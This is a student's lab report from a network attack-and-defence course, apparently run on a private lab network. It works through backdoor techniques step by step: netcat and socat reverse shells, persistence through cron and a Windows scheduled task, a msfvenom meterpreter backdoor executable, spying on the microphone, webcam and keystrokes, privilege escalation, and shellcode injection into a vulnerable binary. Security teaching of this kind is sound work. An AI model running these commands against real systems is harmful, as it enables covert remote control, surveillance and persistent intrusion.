2023-2024—2 20201302姬正坤《网络对抗技术》Exp2 后门原理与实践
2023-2024—2 20201302姬正坤《网络对抗技术》Exp2 后门原理与实践
一、实验准备
1、基础问题的思考
a、例举你能想到的一个后门进入到你系统中的可能方式?
答:网络不知名小网站下载的盗版软件包里可能含有后门程序,在进行安装时进入系统。
b、例举你知道的后门如何启动?
答:
- 伪装成常用软件,诱使用户点击
- 远程监听从而反向连接被控主机,发送后门,控制后门启动
- linux的cron程序被修改,使得自动定时执行后门程序
c、Meterpreter有哪些给你映像深刻的功能?
答:可以远程开启被控主机的摄像头和录像功能捕获画面,可以获取主机的权限修改系统。
d、如何发现自己有系统有没有被安装后门?
答:
- 定期用电脑所下载的杀毒软件对系统进行检测,及时处理可疑程序
- 开启防火墙,查看开启的端口及对应的进程,一般不是系统默认开启的端口都是可疑的
- 通过nmap扫描与wireshark抓包分析
- 火绒安全工具提供的火绒剑也可以及时监控关闭进程
2、netcat的学习
a、windows获取linux的shell
- 在windows下使用ipconfig查看本机ip为192.168.43.188
- 在window cmd使用nact.exe监听本机的1302端口
ncat.exe -l -p 1302
- 在linux中反弹连接windows,使用-e选项执行shell程序
nc 192.168.43.188 1302 -e /bin/sh
- windows成功获取linux的shell
b、linux获取windows的shell
- linux下ifconfig查看IP地址为192.168.241.132
- linux端使用nc指令监听1302端口
nc -l -p 1302
- 在windows下使用ncat.exe反向连接linux的1302端口
ncat.exe -e cmd.exe 192.168.241.132 1302
- linux成功看到windows的命令提示,使用dir查看文件目录
c、使用nc传输数据
- windows下监听1302端口
ncat.exe -l 1302
- linux反连接windows的1302端口
nc 192.168.43.188
- 通信(由于第二次重新开始实验时忘记保存截图了,而用的手机热点使得主机的WLAN ip发生变化,这里用的是此前测试用例)
d、使用nc传输文件
-
监听1302端口
ncat.exe 1302 > jzk.txt
-
linux反连接windows的1302端口
nc 192.168.43.188 1302 < jzk.txt
-
windows可以收到linux发来的文件
3、socat的学习
socat是ncat的增强版,它使用的格式是
socat [options] <address> <address>
其中两个address是必选项,而options是可选项
socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
4、Meterpreter的学习
Meterpreter具有强大的功能,特别是其socks代理
有关参数可以参考https://blog.51cto.com/laoyinga/1880673
参考生成shellcode,注入到可执行文件,执行时回连攻击主机https://blog.csdn.net/mickeymouse1928/article/details/71160027
二、实验过程
任务一:使用netcat获取主机操作Shell,cron启动
1、windows监听1302端口
2、crontab指令增加一条定时任务,-e表示编辑。在最后一行添加以下代码,在每个时间段的第45分钟反向连接Windows主机的1302端口
45 * * * * /bin/netcat 192.168.43.188 1302 -e /bin/sh
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可man cron
3、时间到了8:45,此时已获得了Kali的shell,使用ls查看目录
任务二:使用socat获取主机操作Shell, 任务计划启动
1、右键windows ,找到计算机管理 ,在系统工具找到任务计划程序,创建任务,进行以下设定
a、常规中填写任务名称为exp
b、点击触发器然后新建触发器,选择工作站锁定时触发
c、在操作选项中,导入下载解压后的socat.exe的路径,在添加参数中填入
tcp-listen:1302 exec:cmd.exe,pty,stderr
(把cmd.exe绑定到端口1302,同时把cmd.exe的stderr重定向到stdout上)
2、锁定计算机,然后重新进入计算机启动socat
3、在kali中获得cmd shell
socat - tcp:192.168.43.188:1302
-代表标准的输入输出,第二个流连接到Windows主机的1302端口,IP为windows的IP
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1、在kali中输入指令如下,生成后门程序20201302_backdoors.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.241.132 LPORT=1302 -f exe > 20201302_backdoors.exe
2、在windows中查看连接状态
ncat.exe -lv 1302 > 20201302_backdoors.exe
3、在kali将生成的后门传送到window主机,传输成功后断开连接
nc 192.168.43.188 < 20201302_backdoors.exe
4、在kali中打开另一个终端,输入msfconsole进入控制台,进行以下操作
a、使用监听模块,设置payload
use exploit/multi/handler
b、使用和生成后门程序payload
set payload windows/meterpreter/reverse_tcp
c、指定kali的ip
set LHOST 192.168.241.132
d、指定端口号
set LPORT 1302
e、输入exploit开始监听
5、打开后门文件.exe
6、kali获得Windows主机的连接,并且得到了远程控制的shell
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
1、截取音频:record_mic
2、获取摄像头拍照webcam_snap
3、截屏:screenshot
(指令在下方照片里)
4、记录击键的过程:keyscan_start
读取击键的记录:keyscan_dump
5、查看当前用户:getuid
照片同上
6、提取权限:getsystem
这一步我这里超时了没有成功
加分任务:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
1、查看各个主机版本适用的payloadmsfvenom --list payload
2、选定payload,确定所需要参数msfvenom -p linux/x86/shell_reverse_tcp --list-options
3、生成shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.241.132 LPORT=1302 -f c
- -p linux/x86/shell_reverse_tcp表示使用的payload为linux/x86/shell_reverse_tcp
- -f c表示采取c编码格式
- LHOST与LPORT是kali ip地址与学号端口
4、注入shellcode并cat
'perl -e 'print"A" x 32;print “shellcode” '>input_shellcode
(cat input_shellcode;cat) | ./pwn1
5、查找pwn1进程,gdb调试
a、打开另一个终端,使用管道命令找到pwn1ps -ef | grep pwn1
b、输入gdb,attach '进程号'绑定pwn1
这两个步骤忘记截图保存了
c、输入diassemble foo
找到最后一行设置断点break *0x080484ae
d、打开第一个终端在cat下回车,回到gdb键入c继续调试,输入info r esp
查找栈顶
e、使用x/16x 查找栈顶,直到找到与生成shellcode前4位相同的编码,如下图找到了0xe3f7db31对应shellcode的小端存储排列前四位
6、找到的栈顶序列+0x4即为shellcode的所需四位,计算得到新的shellcode并注入
7、再开一个终端,配置msfconsole
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST kali ip
set LPORT 学号后四位端口
8、在另一个终端再次输入(cat input_shellcode;cat) | ./pwn1
,msf得到控制权